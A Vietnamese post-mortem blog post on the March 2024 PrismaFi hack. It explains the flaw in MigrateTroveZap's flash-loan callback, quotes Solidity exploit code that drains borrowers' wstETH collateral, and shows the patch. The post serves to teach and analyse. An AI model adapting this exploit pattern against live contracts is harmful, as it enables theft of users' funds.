Skip to main content

Vụ hack PrismaFi

· 12 min read

Bài viết này trình bày chi tiết cách thức vụ hack PrismaFi diễn ra vào ngày 2024-03-28.

Ứng dụng Prismafi

PrismaFi là ứng dụng tài chính phi tập trung (Decentralized Finance - Defi) cho phép user nạp tài sản thế chấp (Collateral - ETH hoặc những đồng token đại diện có giá trị tương đương) của mình vào và vay ra đồng tiền ổn định (tương đương USD). Mục đích của việc này là khi user muốn sử dụng tiền mặt nhưng ko muốn bán số ETH đang sở hữu vì thấy được tiềm năng tăng giá trong tương lai.

Thay vào đó có thể sử dụng số ETH nhàn rỗi này thế chấp đổi lấy 1 khoản tiền để sử dụng, sau đó khi kiếm được tiền có thể trả lại khoản vay này để lấy lại số ETH đã thế chấp mà không bị lỡ khi ETH tăng giá (ngược lại, chịu rủi ro bị thanh lý liquidated nếu ETH giảm giá dưới ngưỡng nhất định so với khoản vay).

Tính năng sử dụng trong vụ hack

Trong phạm vi bài này mình không đi sâu vào toàn bộ giao thức mà chỉ tập trung vào các tính năng liên quan trực tiếp đến vụ hack.

Contract token ổn định mkUSD

DebtToken.sol

Contract ERC20 đại diện cho đồng ổn định mkUSD, sẽ được mint ra cho người dùng khi người dùng nạp vào tài sản thế chấp và yêu cầu 1 khoản vay (openTrove). Ngược lại sẽ burn đi khi người dùng trả lại khoản vay và lấy lại tài sản thế chấp (closeTrove).

Ngoài ra đồng ổn định này được cài đặt tính năng flashLoan, tức là khi được gọi nó sẽ mint ra lượng token amount cho vào tài khoản receiver, gọi hàm receiver.onFlashLoan(...) để receiver thực hiện tác vụ j đó với khoản vay này. Sau khi kết thúc tác vụ thu lại số token này để burn đi và thu thêm 1 khoản phí từ receiver. Tất cả được thực thi trong cùng 1 giao dịch nếu cuối giao dịch receiver không có đủ token để trả lại cũng như trả phí sẽ revert toàn bộ, cái này gọi là flashLoan (vay chớp nhoáng).

function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
// mint token cho receiver
// gọi hàm receiver.onFlashLoan() với 'data' là input
// lấy lại token và burn đi
}
  • receiver: địa chỉ nhận và hành động với khoản vay chớp nhoáng này.
  • token: bắt buộc là địa chỉ đồng ERC20 này (tương đương address(this))
  • amount: lượng vay mong muốn
  • data: input khi gọi receiver.onFlashLoan(...)

Contract xử lý thao tác cho vay

BorrowerOperations

Người dùng gọi đến contract này khi muốn mở khoản vay hoặc đóng khoản vay.

openTrove: người dùng nạp tài sản thế chấp và nhận lại khoản vay mong muốn. Ở đây có điều kiện quan trọng là giá trị thế chấp / giá trị khoản vay collateral ratio - CR phải lớn hơn 1 ngưỡng nhất định (giá trị được config tùy vào loại tài sản thế chấp, vd 110%).

Để gọi được hàm này điều kiện người gọi hàm msg.sender là chính chủ hoặc được ủy quyền - check ở hàm callerOrDelegated(account).

function openTrove(
ITroveManager troveManager,
address account,
uint256 _maxFeePercentage,
uint256 _collateralAmount,
uint256 _debtAmount,
address _upperHint,
address _lowerHint
) external callerOrDelegated(account) {...}
  • troveManager: địa chỉ contract troveManager đại diện cho 1 loại tài sản thế chấp (mỗi loại tài sản thế chấp có 1 troveManager)
  • account: địa chỉ người vay
  • _maxFeePercentage: khoản phí tối đa chấp nhận được
  • _collateralAmount: lượng thế chấp nạp vào
  • _debtAmount: lượng USD muốn vay
  • _upperHint, _lowerHint: vị trí ước lượng người vay trước và người vay sau (các borrower được sắp xếp theo thứ tự CR giảm dần)

closeTrove: người dùng trả lại toàn bộ khoản vay và nhận lại tài sản thế chấp. Khoản thế chấp được trả vào tài khoản msg.sender.

Để gọi được hàm này điều kiện người gọi hàm msg.sender là chính chủ hoặc được ủy quyền - check ở hàm callerOrDelegated(account).

function closeTrove(ITroveManager troveManager, address account) external callerOrDelegated(account) {...}
  • troveManager: địa chỉ contract troveManager (mỗi loại tài sản thế chấp có 1 troveManager)
  • account: địa chỉ người vay

Contract upgrade troveManager

Điểm yếu về security nằm ở đây, hiện tại mình không tìm thấy code của contract này trên github Prismafi mà chỉ có thể check code trên etherscan.

MigrateTroveZap trước khi vá lỗi.

MigrateTroveZap sau khi vá lỗi.

Contract cho phép người dùng upgrade troveManager sang phiên bản mới hơn (sau khi được ủy quyền) bằng cách.

  • Đóng khoản vay của account với troveManager contract cũ.
  • Mở khoản vay mới cho account với số lượng tương đương với troveManager contract mới.

onFlashLoan: đây là hàm callback thực hiện xử lý khi contract này nhận được khoản vay chớp nhoáng flashLoan.

/// @notice Flashloan callback function
function onFlashLoan(
address,
address,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
// check
require(msg.sender == address(debtToken), "!DebtToken");
// decode lấy tham số trong 'data'
(
address account,
address troveManagerFrom,
address troveManagerTo,
uint256 maxFeePercentage,
uint256 coll,
address upperHint,
address lowerHint
) = abi.decode(data, (address, address, address, uint256, uint256, address, address));
uint256 toMint = amount + fee;
// đóng trove - trả nợ, thu về tài sản thế chấp
borrowerOps.closeTrove(troveManagerFrom, account);
// mở trove - nạp vào tài sản thế chấp, thu về số token ổn định
borrowerOps.openTrove(troveManagerTo, account, maxFeePercentage, coll, toMint, upperHint, lowerHint);
return _RETURN_VALUE;
}

Hàm này thực hiện các nhiệm vụ sau:

  • Dùng tiền flashLoan đóng khoản vay của account bằng cách gọi borrowerOperations.closeTrove() với troveManager cũ để rút về tài sản thế chấp.
  • Mở lại khoản vay với khoản thế chấp vừa có và nhận lại token ổn định với troveManager mới sử dụng input data.

trong đó, data truyền vào bao gồm

  • địa chỉ người vay
  • địa chỉ troveManager cũ
  • địa chỉ troveManager mới
  • phí tối đa khi mở khoản vay
  • số lượng tài sản thế chấp nạp vào khi mở khoản vay mới
  • vị trí ước lượng khi mở khoản vay mới

Các bước diễn ra vụ hack

  • Người dùng cấp quyền cho contract chứa lỗ hổng
  • Hacker thực hiện khai thác lỗ hổng trong contract

Người dùng cấp quyền cho contract chứa lỗ hổng

PrismaFi tiến hành deploy contract troveManager mới cho mỗi loại tài sản thế chấp. Họ tạo ra contract MigrateTroveZap và kêu gọi người dùng tương tác với contract này để update sang troveManager mới cho khoản vay của mình.

  • Người dùng cấp quyền mở đóng khoản vay của mình cho contract MigrateTroveZap
  • Người dùng gọi hàm MigrateTroveZap.migrateTrove(...) để contract này
    • Thực hiện flashLoan lấy về 1 số token ổn định.
    • Dùng số token ổn định này đóng khoản vay người dùng với troveManager cũ rút về toàn bộ tài sản thế chấp.
    • Dùng toàn bộ tài sản thế chấp vưà rút về mở lại khoản vay với troveManager mới, lấy lại số token ổn định ban đầu.
    • Trả lại số token ổn định kết thúc flashLoan.

Sau bước này việc update sang troveManager mới cho khoản vay diễn ra bình thường, nhưng để lại 1 vấn đề lớn đó là người dùng đã cấp quyền mở đóng khoản vay của mình cho contract chứa lỗ hổng.

Hacker thực hiện khai thác lỗ hổng trong contract

Contract MigrateTroveZap chứa lỗ hổng khi cho phép bất kỳ ai thực hiện flashLoan cho contract này có thể thoải mái nhập input data (trong đó có thông tin về địa chỉ borrower, số token thế chấp mới) mà không kiểm tra số token thế chấp mới có giống với số token thế chấp cũ không. Hacker lợi dụng điều này để giảm số token thế chấp mới của 1 borrower bất kỳ trong quá trình thực hiện migrate.

Hacker tạo ra 1 contract để thực hiện cuộc tấn công làm tất cả các bước trong 1 transaction. Mọi người tham khảo contract Prisma_exp.sol mô phỏng cuộc tấn công được người ta dựng lại.

Đầu tiên hacker sẽ nhắm đến những người borrower có khoản vay lớn với tỉ lệ collateral ratio cao và đã thực hiện trao quyền cho contract MigrateTroveZap ở bước trên. Cụ thể trong trường hợp này, khoản vay chứa

  • Thế chấp 1745 wstETH
  • Khoản vay 1.4M mkUSD

Với khoản vay này thì khoản thế chấp tối thiểu cần có chỉ rơi vào khoảng 463.18 wstETH (CR 110%).

1. Thực hiện flashLoan để rút tài sản thế chấp khỏi khoản vay về contract MigrateTroveZap.

Hacker thực hiện gọi flashLoan cho contract MigrateTroveZap

// tham số sử dụng khi mở lại khoản vay 'openTrove'
uint256 amount = 1_442_100_643_475_620_087_665_721; // số mkUSD đang vay
address account = 0x56A201b872B50bBdEe0021ed4D1bb36359D291ED; // địa chỉ borrower mục tiêu
address troveManagerFrom = address(TroveManager); // contract TroveManager hiện tại
address troveManagerTo = address(TroveManager); // contract TroveManager hiện tại
uint256 maxFeePercentage = 5_000_000_325_833_471; // phí set ở mức cao để tăng tỉ lệ thành công
uint256 coll = 463_184_447_350_099_685_758; // con số được tính toán vừa đủ để mở lại khoản vay

// encode tham số
bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

// thực hiện flashLoan cho MigrateTroveZap
IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

Trong đoạn mã trên ta chú ý tham số truyền vào

uint256 coll = 463_184_447_350_099_685_758; // con số được tính toán vừa đủ để mở lại khoản vay

Con số này đúng ra phải là toàn bộ khoản thế chấp (1745 wstETH) nhưng hacker tính toán chỉ để con số vừa đủ để mở lại khoản vay.

Đến lượt MigrateTroveZap contract thực hiện tác vụ tự động khi có được khoản flashLoan:

  • Nhận 1.4M mkUSD flashLoan.
  • Dùng 1.4M mkUSD để thực hiện đóng khoản vay, rút về toàn bộ 1745 wstETH.
  • Sử dụng 463.18 wstETH để nạp vào mở lại khoản vay, lấy về 1.4M mkUSD (nếu sử dụng số thế chấp thấp hơn sẽ fail vì yêu cầu CR tối thiểu 110%).
  • Trả lại 1.4M mkUSD kết thúc flashLoan.

Sau bước này thì trong contract MigrateTroveZap còn dư khoảng 1281 wstETH.

2. Hacker tạo khoản vay riêng, thực hiện migrate để sử dụng 1281 wstETH cho vào khoản vay của mình.

Để tạo khoản vay trên PrismaFi cần tối thiểu vay 2000 mkUSD (sử dụng thế chấp khoảng 1 wstETH là đủ). Để thậm chí không cần sử dụng vốn 1 wstETH, hacker sử dụng flashLoan của Balancer.

  • Nhận flashLoan 1 wstETH từ Balancer
  • Tạo khoản vay tượng trưng trên PrismaFi với 1 wstETH để vay 2000 mkUSD
  • Thực hiện migrate giống như bước trên (với tham số khác) để nhập nốt 1281 wstETH trong MigrateTroveZap vào khoản vay của mình (khoản thế chấp sau migrate trở thành 1281 + 1 wstETH)
  • Đóng khoản vay trả lại 2000 mkUSD thu về 1282 wstETH
  • Trả lại cho balancer khoản flashLoan 1 wstETH, còn lại thu lợi thành công 1281 wstETH
function startHack() {
// Step 1
// ...

// Step 2, flashLoan 1 wstETH từ Balancer
address[] memory tokens = new address[](1);
tokens[0] = address(wstETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 1_000_000_000_000_000_000;

uint256[] memory feeAmounts = new uint256[](1);
feeAmounts[0] = 0;

// get balancer wstETH loan
vault.flashLoan(address(this), tokens, amounts, abi.encode(""));
}

// Callback thực thi tác vụ dùng khoản vay flashLoan 1 wstETH
function receiveFlashLoan(
IERC20[] memory, /* tokens */
uint256[] memory, /* amounts */
uint256[] memory, /* feeAmounts */
bytes memory /* userData */
) external {
// Tạo khoản vay tượng trưng 2000 mkUSD
// set delegate approval
IBorrowerOperations(BorrowerOperations).setDelegateApproval(address(MigrateTroveZap), true);

// open trove
IBorrowerOperations(BorrowerOperations).openTrove(
address(TroveManager),
address(this),
5_000_000_325_833_471,
1_000_000_000_000_000_000,
2_000_000_000_000_000_000_000,
address(upperHint),
address(lowerHint)
);

// migrate nâng số thế chấp 1 wstETH -> 1282 wstETH
uint256 amount = 2_000_000_000_000_000_000_000; // khoản vay 2000 mkUSD

address account = address(this); // đối tượng migrate (borrower) là tài khoản contract này
address troveManagerFrom = address(TroveManager);
address troveManagerTo = address(TroveManager);
uint256 maxFeePercentage = 5_000_000_325_833_471;
uint256 coll = 1_282_797_208_306_130_557_587; // số token thế chấp mới 1282

bytes memory data = abi.encode(
account, troveManagerFrom, troveManagerTo, maxFeePercentage, coll, address(upperHint), address(lowerHint)
);

IMKUSDLoan(mkUSD).flashLoan(IERC3156FlashBorrower(address(MigrateTroveZap)), address(mkUSD), amount, data);

// đóng khoản vay thu về 1282 wstETH
IBorrowerOperations(BorrowerOperations).closeTrove(address(TroveManager), address(this));

// trả lại balancer 1 wstETH, còn lại lợi nhuận 1281 wstETH
uint256 returnAmount = 1_000_000_000_000_000_000;
// transfer the wstETH loan back to the vault
IERC20(wstETH).transfer(address(vault), returnAmount);
}

Hacker lặp lại phương thức tấn công với những borrower khác, thu về tổng cộng khoảng $11M USD.

PrismaFi vá lỗ hổng

Phía PrismaFi đã thực hiện vá lỗ hổng contract MigrateTroveZap bằng cách thêm vào điều kiện khắt khe hơn khi migrate

  • Người thực thi flashLoan originator phải chính là contract này.
  • Kiểm tra balance số token thế chấp trong contract MigrateTroveZap trước và sau khi migrate phải bằng nhau.
/// @notice Flashloan callback function
/// @dev This callback fails if there is any leftover collateral in the Zap
function onFlashLoan(
// sử dụng tham số originator
address originator,
address,
uint256 amount,
uint256 fee,
bytes calldata data
) external whenNotPaused returns (bytes32) {
require(msg.sender == address(debtToken), "!DebtToken");
// check originator
require(originator == address(this), "!Zap");
(
address collateralFrom,
address account,
address troveManagerFrom,
address troveManagerTo,
uint256 maxFeePercentage,
uint256 coll,
address upperHint,
address lowerHint
) = abi.decode(data, (address, address, address, address, uint256, uint256, address, address));
uint256 toMint = amount + fee;
// Ghi lại số dư tài sản thế chấp trước khi migrate
uint256 balanceBefore = IERC20(collateralFrom).balanceOf(address(this));
borrowerOps.closeTrove(troveManagerFrom, account);
borrowerOps.openTrove(troveManagerTo, account, maxFeePercentage, coll, toMint, upperHint, lowerHint);
// Kiểm tra số dư tài sản thế chấp sau khi migrate phải bằng lúc trước
require(IERC20(collateralFrom).balanceOf(address(this)) == balanceBefore, "Invalid migration amount");
return _RETURN_VALUE;
}

Đồng thời kêu gọi những người dùng đã thực hiện migrate bằng contract MigrateTroveZap cũ thực hiện bỏ ủy quyền cho contract này.

Links tham khảo

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/Prisma_exp.sol

https://github.com/mixbytes/audits_public/blob/master/Prisma%20Finance/Zap/README.md

hacked MigrateTroveZap https://etherscan.io/address/0xcc7218100da61441905e0c327749972e3cbee9ee#code